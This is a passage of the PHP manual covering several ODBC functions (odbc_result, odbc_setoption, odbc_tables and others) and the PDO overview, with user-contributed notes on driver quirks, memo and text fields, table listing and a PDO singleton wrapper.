odbc_result_all($res1, "BGCOLOR='#AAFFAA' border='3' width=30% bordercolordark='#FF0000'");
?>
odbc_procedures
odbc_result
ODBC Functions


Get result data

odbc_result_all
odbc_rollback
ODBC Functions
PHP Manual

odbc_result

(PHP 4, PHP 5)

odbc_result — Get result data

Description

mixed odbc_result ( resource $result_id , mixed $field )

Get result data

Parameters

result_id

The ODBC resource.

field

The field name being retrieved. It can either be an integer containing the column number of the field you want; or it can be a string containing the name of the field.

Return Values

Returns the string contents of the field, FALSE on error, NULL for NULL data, or TRUE for binary data.

Examples

The first call to odbc_result() returns the value of the third field in the current record of the query result. The second function call to odbc_result() returns the value of the field whose field name is "val" in the current record of the query result. An error occurs if a column number parameter for a field is less than one or exceeds the number of columns (or fields) in the current record. Similarly, an error occurs if a field with a name that is not one of the fieldnames of the table(s) that is(are) being queried.

Example #1 odbc_result() examples

<?php
$item_3   = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

Notes

Field indices start from 1. Regarding the way binary or long column data is returned refer to odbc_binmode() and odbc_longreadlen().

User Contributed Notes

lucas at bizzfone dot nl 30-Oct-2009 03:24
The odbc_result() function has an apparently little known feature that comes in very handy when retrieving large text or binary fields.
Consider this code snippet to retrieve a large value into a temporary file (error testing left out for clarity):

<?php
$con=odbc_connect(...);
$query="set textsize 2147483647 ".
       "select someLargeField from ...";
$resultset=odbc_exec($con,$query);
odbc_binmode($resultset,ODBC_BINMODE_RETURN);
odbc_longreadlen($resultset,4096);
while (odbc_fetch_row($resultset)) {
   $fileHandle=fopen('/tmp/myfile','wb');
   while (($chunk=odbc_result($resultset,'someLargeField'))!==false) {
      fwrite($fileHandle,$chunk);
   }
   fclose($fileHandle);
   //do something with the file
}
?>

There are a few key points to make it work:
- Make sure to include "set textsize 2147483647 " in your query.
  Without it, MSSQL truncates large values to 4096 bytes by default.
  Other databases may have a similar small limit.
- The odbc_binmode() and odbc_longreadlen() calls are just for safety.
  Their defaults in php.ini are usually correct.
- Each odbc_result() call on a large field apparently returns the next chunk.
  Of course you have to read all chunks before the next odbc_fetch_row() call.
- When all of the large value has been read, odbc_result() will return false.

Note: Using mssql_ instead of odbc_ functions is not a viable alternative. They don't work with chunks (AFAIK) and even crash php (overflow, segmentation fault) when the query result contains a large value.
baoshenyi at hotmail dot com 17-Mar-2005 10:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro 02-May-2003 04:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
spooky 14-Mar-2003 09:27
It took me a while to find out why there was a problem with retrieving data with odbc_result statement.

Warning: SQL error: [Microsoft][ODBC SQL Server Driver]
SQL state S1002 in SQLGetData

State S1002 means that invalid column index has been used.
I checked it hundred times - column index was OK.

Finally i ordered calls of odbc_result statement according to order of fields in the table. It helped.

Best regards
AKA MBG 28-Feb-2003 02:29
About memo fields accessing through ODBC.
I got error:

SQL error: [Microsoft][ODBC Visual FoxPro Driver]Invalid cursor position, SQL state S1109 in SQLGetData SQL error...

In fact there is no necessity to change Memo to Text type of field in database. Example of source code:

class ds_fconstr extends db_base_table
{
  var $db_fields  = array('name' => "",
                         'password' => "");

  $query = "SELECT * FROM ds_fconstr";
  $odbc  = odbc_connect (DB_DSN, "", "")
  $req = odbc_exec ($odbc, $query)

  // create this class
  $temp = new ds_fconstr();

  // error inside of this function (of parent class)
  // when try call "odbc_result" for "memo" field
  $temp->setFieldsValue ($req);

   // all OK here
  foreach ($temp->db_fields as $name => $value)
  {
    $temp->db_fields[$name] = odbc_result($req,$name);
  }
}

// where base class is following
Class db_base_table
{
  var $db_fields = array();

  // set value of fields from fetched row
  // ----------------------------
  function setFieldsValue($req)
  {
      foreach ($this->db_fields as $name => $value)
      {
          // error is HERE (only for "memo" fields, others are ok),
        // because (possible) PHP do not transfer
        // correctly result of odbc_exec with "memo"
        $this->db_fields[$name] = odbc_result($req,$name);
      }
    }
};

So, when i call directly "odbc_result" in the same function where i have called "odbc_exec" then all is right (see line "// all OK here").
22-Jan-2003 06:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com 20-Jan-2003 09:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr 15-Jul-2002 02:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net 31-Jul-2001 03:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
    ... more code ...
    echo odbc_result($result,$i);
    ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
    ...
    echo $temp;
    ...
  }
}
user at frosch dot org 30-May-2001 08:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
nomail at nomail dot nomail 04-Dec-2000 05:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com 27-Oct-2000 07:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu 21-Jul-2000 09:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com 14-Jul-2000 12:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
jniels23 at csc dot com 24-Mar-1999 08:31
Beware if you have fields with the same name in a result

<?php
$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");
?>

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

<?php
mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");
?>

but with odbc you do :

<?php odbc_result($res,$count,"Name"); ?>

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.
odbc_result_all
odbc_rollback
ODBC Functions


Rollback a transaction

odbc_result
odbc_setoption
ODBC Functions
PHP Manual

odbc_rollback

(PHP 4, PHP 5)

odbc_rollback — Rollback a transaction

Description

bool odbc_rollback ( resource $connection_id )

Rolls back all pending statements on the connection.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
odbc_result
odbc_setoption
ODBC Functions


Adjust ODBC settings

odbc_rollback
odbc_specialcolumns
ODBC Functions
PHP Manual

odbc_setoption

(PHP 4, PHP 5)

odbc_setoption — Adjust ODBC settings

Description

bool odbc_setoption ( resource $id , int $function , int $option , int $param )

This function allows fiddling with the ODBC options for a particular connection or query result. It was written to help find work around to problems in quirky ODBC drivers. You should probably only use this function if you are an ODBC programmer and understand the effects the various options will have. You will certainly need a good ODBC reference to explain all the different options and values that can be used. Different driver versions support different options.

Because the effects may vary depending on the ODBC driver, use of this function in scripts to be made publicly available is strongly discouraged. Also, some ODBC options are not available to this function because they must be set before the connection is established or the query is prepared. However, if on a particular job it can make PHP work so your boss doesn't tell you to use a commercial product, that's all that really matters.

Parameters

id

Is a connection id or result id on which to change the settings. For SQLSetConnectOption(), this is a connection id. For SQLSetStmtOption(), this is a result id.

function

Is the ODBC function to use. The value should be 1 for SQLSetConnectOption() and 2 for SQLSetStmtOption().

option

The option to set.

param

The value for the given option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 odbc_setoption() examples

<?php
// 1. Option 102 of SQLSetConnectOption() is SQL_AUTOCOMMIT.
//    Value 1 of SQL_AUTOCOMMIT is SQL_AUTOCOMMIT_ON.
//    This example has the same effect as
//    odbc_autocommit($conn, true);

odbc_setoption($conn, 1, 102, 1);

// 2. Option 0 of SQLSetStmtOption() is SQL_QUERY_TIMEOUT.
//    This example sets the query to timeout after 30 seconds.

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

User Contributed Notes

egil at wp dot pl 19-Jan-2009 07:42
Some options for Microsoft SQL Server ODBC:
1 - (SQL_MAX_ROWS) show top x rows
6 - (SQL_CURSOR_TYPE) zmiana kursora - ma działać dopiero w PHP 5.3

You can "translate" constant names (found on e.g. Microsoft website) to appropriate values using this page:
http://www.freepascal.org/docs-html/packages/odbcsql/index-2.html

BTW. If anyone is banging his head about "cursor type changed" warning while using execute with ORDER BY clause, then just use exec for now (remember to addslashes for yourself). In PHP 5.3 a Bug #43668 will be fixed and it will allow you to change a cursor type to SQL_CUR_USE_ODBC.

Note that you could also try to select a cursor type in odbc_connect, but that didn't work for me (much more problems appeared then it solved).
odbc_rollback
odbc_specialcolumns
ODBC Functions


Retrieves special columns

odbc_setoption
odbc_statistics
ODBC Functions
PHP Manual

odbc_specialcolumns

(PHP 4, PHP 5)

odbc_specialcolumns — Retrieves special columns

Description

resource odbc_specialcolumns ( resource $connection_id , int $type , string $qualifier , string $owner , string $table , int $scope , int $nullable )

Retrieves either the optimal set of columns that uniquely identifies a row in the table, or columns that are automatically updated when any value in the row is updated by a transaction.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

type
When the type argument is SQL_BEST_ROWID, odbc_specialcolumns() returns the column or columns that uniquely identify each row in the table. When the type argument is SQL_ROWVER, odbc_specialcolumns() returns the column or columns in the specified table, if any, that are automatically updated by the data source when any value in the row is updated by any transaction.
qualifier

The qualifier.

owner

The owner.

table

The table.

scope

The scope, which orders the result set.

nullable

The nullable option.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • SCOPE
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • PSEUDO_COLUMN

User Contributed Notes

There are no user contributed notes for this page.
odbc_setoption
odbc_statistics
ODBC Functions


Retrieve statistics about a table

odbc_specialcolumns
odbc_tableprivileges
ODBC Functions
PHP Manual

odbc_statistics

(PHP 4, PHP 5)

odbc_statistics — Retrieve statistics about a table

Description

resource odbc_statistics ( resource $connection_id , string $qualifier , string $owner , string $table_name , int $unique , int $accuracy )

Get statistics about a table and its indexes.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner.

table_name

The table name.

unique

The unique attribute.

accuracy

The accuracy.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • NON_UNIQUE
  • INDEX_QUALIFIER
  • INDEX_NAME
  • TYPE
  • SEQ_IN_INDEX
  • COLUMN_NAME
  • COLLATION
  • CARDINALITY
  • PAGES
  • FILTER_CONDITION

The result set is ordered by NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME and SEQ_IN_INDEX.

User Contributed Notes

eion at bigfoot dot com 19-Apr-2011 03:36
A couple of the function parameters are undefined:

unique - determines whether you want to return just unique indexes or all indexes.  Use SQL_INDEX_UNIQUE or SQL_INDEX_ALL for this parameter

accuracy - whether you wan to return everything there is to know about the table or just what information is readily available.  Use SQL_ENSURE or SQL_QUICK for this parameter

For a bit more info about this function see the ODBC function SQLStatistics() at http://msdn.microsoft.com/en-us/library/ms711022(v=vs.85).aspx
odbc_specialcolumns
odbc_tableprivileges
ODBC Functions


Lists tables and the privileges associated with each table

odbc_statistics
odbc_tables
ODBC Functions
PHP Manual

odbc_tableprivileges

(PHP 4, PHP 5)

odbc_tableprivileges — Lists tables and the privileges associated with each table

Description

resource odbc_tableprivileges ( resource $connection_id , string $qualifier , string $owner , string $name )

Lists tables in the requested range and the privileges associated with each table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. Accepts the following search patterns: ('%' to match zero or more characters and '_' to match a single character)

name

The name. Accepts the following search patterns: ('%' to match zero or more characters and '_' to match a single character)

Return Values

An ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

User Contributed Notes

There are no user contributed notes for this page.
odbc_statistics
odbc_tables
ODBC Functions


Get the list of table names stored in a specific data source

odbc_tableprivileges
PDO
ODBC Functions
PHP Manual

odbc_tables

(PHP 4, PHP 5)

odbc_tables — Get the list of table names stored in a specific data source

Description

resource odbc_tables ( resource $connection_id [, string $qualifier [, string $owner [, string $name [, string $types ]]]] )

Lists all tables in the requested range.

To support enumeration of qualifiers, owners, and table types, the following special semantics for the qualifier, owner, name, and table_type are available:

  • If qualifier is a single percent character (%) and owner and name are empty strings, then the result set contains a list of valid qualifiers for the data source. (All columns except the TABLE_QUALIFIER column contain NULLs.)
  • If owner is a single percent character (%) and qualifier and name are empty strings, then the result set contains a list of valid owners for the data source. (All columns except the TABLE_OWNER column contain NULLs.)
  • If table_type is a single percent character (%) and qualifier, owner and name are empty strings, then the result set contains a list of valid table types for the data source. (All columns except the TABLE_TYPE column contain NULLs.)

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. Accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

name

The name. Accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

types

If table_type is not an empty string, it must contain a list of comma-separated values for the types of interest; each value may be enclosed in single quotes (') or unquoted. For example, "'TABLE','VIEW'" or "TABLE, VIEW". If the data source does not support a specified table type, odbc_tables() does not return any results for that type.

Return Values

Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • TABLE_TYPE
  • REMARKS

The result set is ordered by TABLE_TYPE, TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

See Also

  • odbc_tableprivileges() - Lists tables and the privileges associated with each table

User Contributed Notes

narcomweb at wanadoo dot fr 05-Nov-2005 09:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com 22-Jul-2005 07:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

    $result = odbc_tables($dbh);

    $tables = array();
    while (odbc_fetch_row($result))
        array_push($tables, odbc_result($result, "TABLE_NAME") );

    foreach( $tables as $t ) {
        echo "$t\n";
    }

?>
iggvopvantoodlwin 01-Mar-2004 07:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
kthejoker at nospam dot hotmail dot com 11-Dec-2002 10:29
A bit of an extension on the previous posts:

I had a whale of a time trying to make this command work .. the parameters were hard to decipher, and frequently my Apache module would just crash and burn when I tried to run it. I FINALLY figured out what was wrong ...

< -- assuming $conn is your odbc_connect --->

$tablelist=odbc_tables($conn);
$tablelist=odbc_result_all($tablelist);

simply doesn't work. I don't understand the exact logistics of it, but the only way I could get it to post the results was this:

$tablelist=odbc_result_all(odbc_tables($conn));

From there it was rather simple to add in parameters that fished out the results I wanted.

To repeat again: I do not understand why the 2nd method works and the 1st one does not. However, having struggled mightily with this function for almost 24 hours, posting this solution has proven to be greatly satisfying.
liquidicee at hotmail dot com 10-Mar-2001 08:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo odbc_result($tablelist, 3) ."<br>";
}
?>

to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>

hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice
fmk at swwwing dot com 03-Oct-2000 12:22
use odbc_tables($con, "%") to get a list of all available catalogs (databases).

use odbc_tables($con, "", "%") to get a list of all schemas available.

use odbc_tables($con, "", "", "", "%") to get a list of all table types available.

use odbc_tables($con, "my catalog", "my schema", "%", "'TABLE', 'VIEW'") to get a list of all tables available.

using odbc_tables($con, "%", "%", "%", "%") will return an empty array !

Before PHP 4.0.3 uou could use this function with 1 or 5 prarms. From 4.0.3 the function matches the documentation.
odbc_tableprivileges
PDO
ODBC Functions


PHP Data Objects

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Connections and Connection management
  • Transactions and auto-commit
  • Prepared statements and stored procedures
  • Errors and error handling
  • Large Objects (LOBs)
  • PDO — The PDO class
    • PDO::beginTransaction — Initiates a transaction
    • PDO::commit — Commits a transaction
    • PDO::__construct — Creates a PDO instance representing a connection to a database
    • PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle
    • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
    • PDO::exec — Execute an SQL statement and return the number of affected rows
    • PDO::getAttribute — Retrieve a database connection attribute
    • PDO::getAvailableDrivers — Return an array of available PDO drivers
    • PDO::inTransaction — Checks if inside a transaction
    • PDO::lastInsertId — Returns the ID of the last inserted row or sequence value
    • PDO::prepare — Prepares a statement for execution and returns a statement object
    • PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object
    • PDO::quote — Quotes a string for use in a query.
    • PDO::rollBack — Rolls back a transaction
    • PDO::setAttribute — Set an attribute
  • PDOStatement — The PDOStatement class
    • PDOStatement::bindColumn — Bind a column to a PHP variable
    • PDOStatement::bindParam — Binds a parameter to the specified variable name
    • PDOStatement::bindValue — Binds a value to a parameter
    • PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.
    • PDOStatement::columnCount — Returns the number of columns in the result set
    • PDOStatement::debugDumpParams — Dump an SQL prepared command
    • PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle
    • PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle
    • PDOStatement::execute — Executes a prepared statement
    • PDOStatement::fetch — Fetches the next row from a result set
    • PDOStatement::fetchAll — Returns an array containing all of the result set rows
    • PDOStatement::fetchColumn — Returns a single column from the next row of a result set
    • PDOStatement::fetchObject — Fetches the next row and returns it as an object.
    • PDOStatement::getAttribute — Retrieve a statement attribute
    • PDOStatement::getColumnMeta — Returns metadata for a column in a result set
    • PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle
    • PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement
    • PDOStatement::setAttribute — Set a statement attribute
    • PDOStatement::setFetchMode — Set the default fetch mode for this statement
  • PDOException — The PDOException class
  • PDO Drivers
    • CUBRID (PDO) — CUBRID Functions (PDO_CUBRID)
    • MS SQL Server (PDO) — Microsoft SQL Server and Sybase Functions (PDO_DBLIB)
    • Firebird/Interbase (PDO) — Firebird/Interbase Functions (PDO_FIREBIRD)
    • IBM (PDO) — IBM Functions (PDO_IBM)
    • Informix (PDO) — Informix Functions (PDO_INFORMIX)
    • MySQL (PDO) — MySQL Functions (PDO_MYSQL)
    • MS SQL Server (PDO) — Microsoft SQL Server Functions (PDO_SQLSRV)
    • Oracle (PDO) — Oracle Functions (PDO_OCI)
    • ODBC and DB2 (PDO) — ODBC and DB2 Functions (PDO_ODBC)
    • PostgreSQL (PDO) — PostgreSQL Functions (PDO_PGSQL)
    • SQLite (PDO) — SQLite Functions (PDO_SQLITE)
    • 4D (PDO) — 4D Functions (PDO_4D)

User Contributed Notes

sezer 10-Apr-2011 09:36
To insert real numbers (non int) you must use PDO:: PARAM_STR, not PDO:: PARAM_INT

Using PDO:: PARAM_INT rounds your number to INT, seen with pdo sqlite
lkmorlan at uwaterloo dot ca 04-Jan-2011 07:25
You may also have to edit /etc/freetds.conf. Make sure the TDS version is recent, e.g., "tds version = 8.0".
lkmorlan at uwaterloo dot ca 29-Jun-2010 09:38
This works to get UTF8 data from MSSQL:

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;charset=UTF-8', $user, $pass);
?>
jose at thezcompany dot com 17-Feb-2010 12:39
I ran into a real annoying bug/feature when using PDO for SQL statements that use SQL user variables.  I was working on some logic for a Geo Proximity Search for an events-venues system (sharing is caring so it's below) and it just wouldn't take and the errors returned were garbage. The SQL was sound as I verified it.  So if you're having this issue, I hope this helps.  What you need to do is break apart the query into two...

From:
<?php
$sql="set @latitude=:lat;
set @longitude=:lon;
set @radius=20;

set @lng_min = @longitude - @radius/abs(cos(radians(@latitude))*69);
set @lng_max = @longitude + @radius/abs(cos(radians(@latitude))*69);
set @lat_min = @latitude - (@radius/69);
set @lat_max = @latitude + (@radius/69);

SELECT *,
3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

To:
<?php
$sql = "SET @latitude=:lat;
SET @longitude=:lon;
SET @radius=20;
SET @lng_min=@longitude - @radius/abs(cos(radians(@latitude))*69);
SET @lng_max=@longitude + @radius/abs(cos(radians(@latitude))*69);
SET @lat_min=@latitude - (@radius/69);
SET @lat_max=@latitude + (@radius/69);";

$this->_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':lat', $lat, PDO::PARAM_STR);
$stmt->bindParam(':lon', $lon, PDO::PARAM_STR);
$stmt->execute();

$sql = "SELECT *,
(3956 * 2 * ASIN(SQRT(POWER(SIN((@latitude - ABS(venue_lat)) * PI()/180 / 2),2) + COS(@latitude * PI()/180) * COS(ABS(venue_lat) * PI()/180) * POWER(SIN((@longitude - venue_lon) * PI()/180 / 2),2)))) AS distance
FROM events LEFT JOIN venues ON venues.venue_id = events.venue_fk
WHERE (venue_lon BETWEEN @lng_min AND @lng_max)
AND (venue_lat BETWEEN @lat_min and @lat_max)
AND events.event_date >= CURDATE()
AND events.event_time >= CURTIME()
ORDER BY distance DESC
LIMIT :offset,:max;";

$stmt = $this->_db->prepare($sql);
$stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
$stmt->bindParam(':max', $max, PDO::PARAM_INT);
$stmt->execute();
?>

Hope this helps anyone out there!
paul dot maddox at gmail dot com 27-Aug-2009 05:54
I decided to create a singleton wrapper for PDO that ensures only one instance is ever used.
It uses PHP 5.3.0's __callStatic functionality to pass on statically called methods to PDO.

This means you can just call it statically from anywhere without having to initiate or define the object.

Usage examples:

<?php
DB::exec("DELETE FROM Blah");

foreach( DB::query("SELECT * FROM Blah") as $row){
        print_r($row);
}
?>

Code:

<?php

class DB {

    private static $objInstance;

    /*
     * Class Constructor - Create a new database connection if one doesn't exist
     * Set to private so no-one can create a new instance via ' = new DB();'
     */
    private function __construct() {}

    /*
     * Like the constructor, we make __clone private so nobody can clone the instance
     */
    private function __clone() {}

    /*
     * Returns DB instance or create initial connection
     * @param
     * @return $objInstance;
     */
    public static function getInstance(  ) {

        if(!self::$objInstance){
            self::$objInstance = new PDO(DB_DSN, DB_USER, DB_PASS);
            self::$objInstance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        }

        return self::$objInstance;

